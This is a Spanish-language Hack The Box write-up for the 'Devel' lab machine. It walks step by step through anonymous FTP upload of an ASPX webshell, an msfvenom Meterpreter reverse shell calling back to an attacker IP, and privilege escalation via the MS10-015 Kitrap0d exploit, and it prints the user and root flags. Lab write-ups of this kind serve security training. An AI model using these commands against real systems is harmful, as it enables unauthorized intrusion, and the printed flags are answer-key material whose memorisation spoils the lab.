Hack The Box Easy Target IP: 10.129.27.35

Máquina Devel

Resolución paso a paso de la máquina Devel de Hack The Box. Explotamos un servidor FTP con acceso anónimo habilitado y permisos de escritura para subir una webshell ASPX al directorio raíz web de IIS 7.5. Posteriormente, generamos una reverse shell de Meterpreter con MSFvenom y escalamos privilegios a NT AUTHORITY\SYSTEM mediante el exploit local MS10-015 (Kitrap0D).

#Windows#IIS#FTP#Metasploit#Meterpreter#MS10-015#Kitrap0d#Privilege Escalation#MSFvenom#Webshell

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es escanear los puertos y servicios abiertos de la máquina objetivo (IP del Lab: 10.129.27.35) para identificar posibles vías de intrusión.

Escaneo Completo de Nmap

Ejecutamos un escaneo de puertos TCP completo (-p-), detectando las versiones de los servicios (-sV) y ejecutando scripts de reconocimiento básico (-A), con velocidad agresiva (-T5):

sudo nmap -sV -T5 -A -p- 10.129.27.35
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre el objetivo 10.129.27.35

Resultados Clave de Nmap

El escaneo revela 2 puertos abiertos principales:

  • Puerto 21 (FTP): Servidor Microsoft ftpd. Admite inicio de sesión anónimo (Anonymous FTP login allowed). Contiene los archivos aspnet_client, iisstart.htm y welcome.png.
  • Puerto 80 (HTTP): Servidor web Microsoft IIS httpd 7.5.

Fase 2: Enumeración del FTP y del Servidor Web (Puerto 21 y 80)

1. Acceso Anónimo al Servidor FTP

Dado que el inicio de sesión anónimo está habilitado, nos conectamos al servidor FTP de la máquina víctima utilizando la IP del Lab (10.129.27.35) y las credenciales predeterminadas:

ftp 10.129.27.35
  • Username: anonymous
  • Password: (Presionar Enter)

Una vez conectados, listamos el contenido y descargamos los archivos disponibles para ver qué contienen:

Conexión FTP anónima
Inicio de sesión en FTP como anonymous y descarga de archivos predeterminados

2. Relación entre el Servidor FTP y el Servidor Web IIS

Al inspeccionar los nombres de los archivos descargados (iisstart.htm y welcome.png), intuimos que este directorio de FTP coincide con la carpeta raíz de la aplicación web del servidor IIS.

Para validarlo, accedemos a la IP objetivo por HTTP en el navegador solicitando la imagen welcome.png:

Acceso a welcome.png por HTTP
Visualización de la imagen welcome.png cargada a través del puerto 80

Esto confirma que cualquier archivo que subamos a través del servidor FTP se publicará de manera inmediata en la raíz de la web.

3. Cabeceras del Servidor Web

Inspeccionamos las cabeceras HTTP de respuesta mediante las herramientas de desarrollo del navegador:

Cabeceras HTTP de respuesta
Cabeceras HTTP del servidor que revelan el uso de Microsoft-IIS/7.5 y ASP.NET

Confirmamos que el servidor web ejecuta Microsoft-IIS/7.5 y utiliza tecnología ASP.NET. Esto significa que podemos subir y ejecutar scripts con extensión .asp o .aspx para ejecutar código en la máquina víctima.


Fase 3: Intrusión (Acceso Inicial)

1. Subida y Prueba de Webshell ASPX

En nuestro sistema local de Kali Linux, localizamos una webshell de comandos para ASPX lista para usar en /usr/share/webshells/aspx/cmdasp.aspx. La copiamos localmente y la subimos al servidor FTP de la máquina víctima (IP del Lab: 10.129.27.35):

sudo cp /usr/share/webshells/aspx/cmdasp.aspx .
ftp 10.129.27.35
# Login con anonymous
put cmdasp.aspx
Carga de webshell cmdasp.aspx por FTP
Subida exitosa del archivo cmdasp.aspx por FTP al directorio web

Navegamos a http://10.129.27.35/cmdasp.aspx en el navegador y ejecutamos el comando whoami para probar la ejecución de comandos. La web nos responde indicando que corremos bajo el contexto del usuario de servicio de bajo privilegio iis apppool\web:

Ejecución de whoami en la webshell ASPX
Verificación de la ejecución de comandos con el usuario iis apppool\web

2. Generación de Reverse Shell con MSFvenom

Para obtener una terminal interactiva adecuada (Meterpreter), generamos una reverse shell en formato ASPX con msfvenom. Aquí configuramos el parámetro LHOST con la IP de nuestra máquina atacante Kali (10.10.15.148) para que la máquina víctima sepa a dónde devolver la conexión, y definimos el puerto local de escucha LPORT (por ejemplo, 8888):

# LHOST: IP de nuestra máquina Kali (atacante)
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.148 LPORT=8888 -f aspx > devel.aspx

Una vez creado el archivo devel.aspx, nos conectamos de nuevo por FTP y lo subimos al servidor:

Generación y subida de devel.aspx
Creación del payload con msfvenom y carga del archivo devel.aspx vía FTP

3. Recepción de la Conexión Inversa en Metasploit

Iniciamos la consola de Metasploit (msfconsole) en nuestra máquina Kali y configuramos el módulo de escucha multi/handler. Debemos asegurarnos de que el parámetro LHOST coincide con la IP de nuestra máquina atacante Kali (10.10.15.148) y el LPORT con el puerto configurado previamente:

use multi/handler
# LHOST: IP de nuestra máquina Kali (donde escuchamos)
set LHOST 10.10.15.148
set LPORT 8888
set ExitOnSession false
set payload windows/meterpreter/reverse_tcp
exploit -j

Para forzar la ejecución del script cargado en el servidor web, visitamos en el navegador web la ruta correspondiente a nuestro archivo en la IP del Lab (http://10.129.27.35/devel.aspx). Al hacerlo, recibimos la conexión reversa en Metasploit y se establece una sesión interactiva de Meterpreter:

Establecimiento de sesión Meterpreter
Configuración de multi/handler y recepción exitosa de la sesión de Meterpreter (IIS APPPOOL\Web)

Fase 4: Escalada de Privilegios

1. Enumeración Local de Exploits

Con la sesión inicial abierta, utilizaremos el módulo de enumeración posterior de Metasploit local_exploit_suggester para escanear el sistema objetivo en busca de vulnerabilidades locales conocidas y parches de seguridad ausentes:

use post/multi/recon/local_exploit_suggester
set SESSION 1
run
Configuración de local_exploit_suggester
Ejecución del módulo local_exploit_suggester contra la sesión 1

El script analiza el sistema operativo (un entorno Windows 7 de 32 bits desactualizado) y devuelve una lista detallada de exploits locales candidatos:

Vulnerabilidades detectadas por local_exploit_suggester
Listado de vulnerabilidades locales sugeridas para escalada de privilegios

¿Por qué seleccionamos MS10-015 (Kitrap0d)?

Al analizar los resultados arrojados por el sugeridor de exploits, debemos elegir con criterio técnico el exploit a ejecutar:

  1. Exclusión de UAC Bypass: Módulos como bypassuac_eventvwr o similares están diseñados para evadir el Control de Cuentas de Usuario (UAC) en cuentas que ya pertenecen al grupo de administradores locales pero corren con un token restringido. Dado que nuestra sesión actual corre bajo la cuenta de servicio web de bajo privilegio iis apppool\web (que no es un usuario administrador limitado), cualquier intento de bypass de UAC fallará.
  2. Exclusión de exploits inestables: Necesitamos un exploit que aproveche un fallo a nivel de kernel o en la gestión de servicios del sistema para elevar los privilegios de una cuenta de servicio a SYSTEM.
  3. Estabilidad y Compatibilidad: MS10-015 (Kitrap0d) es una de las vulnerabilidades locales de kernel de Windows más conocidas y extremadamente estables para arquitecturas de 32 bits (x86), como la que tiene esta máquina. A diferencia de otros exploits que podrían corromper la memoria del sistema operativo y provocar una pantalla azul (BSOD) tirando el servidor, Kitrap0d es sumamente seguro y efectivo.

2. Explotación de MS10-015 (Kitrap0d)

Una vez elegido el exploit, configuramos el módulo indicando el identificador de nuestra sesión Meterpreter activa (SESSION 1) y la IP de nuestra máquina atacante Kali (LHOST=10.10.15.148) para recibir la conexión reversa elevada:

use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
# LHOST: IP de nuestra máquina Kali (atacante)
set LHOST 10.10.15.148
run
Configuración de ms10_015_kitrap0d
Configuración de los parámetros y ejecución del exploit MS10-015

El exploit inyecta la DLL maliciosa en el sistema y ejecuta de manera exitosa una nueva sesión de Meterpreter. Ejecutamos getuid para comprobar nuestra identidad, confirmando que nos hemos convertido en NT AUTHORITY\SYSTEM (máximos privilegios en Windows):

Obtención de NT AUTHORITY\\SYSTEM
Escalada exitosa a NT AUTHORITY\SYSTEM tras ejecutar Kitrap0d

3. Lectura de Flags

Flag de Usuario (user.txt)

Nos desplazamos al directorio personal del usuario local babis y leemos la flag correspondiente:

cd c:\users\babis\Desktop
cat user.txt
Lectura del flag de usuario
Lectura de la flag del usuario babis en su Escritorio
  • Flag de Usuario: c0a4e1fc48874dbc553094c18aeacf1f

Flag de Root (root.txt)

Nos desplazamos al directorio del Administrador del sistema para leer la flag final de control completo:

cd c:\users\Administrator\Desktop
cat root.txt
Lectura del flag de Administrador
Lectura de la flag de root en el Escritorio del Administrador
  • Flag de Root: eee3063d2edc045d2c4c8880dc4194c1

Fuentes y Referencias

  • MS10-015 (Kitrap0D) Exploit Reference: Boletín oficial de seguridad de Microsoft sobre la vulnerabilidad del sistema de ejecución de subprocesos de kernel de 32 bits de Windows.
  • Metasploit Framework: Plataforma de pruebas de penetración empleada para la enumeración local de vulnerabilidades y explotación de privilegios.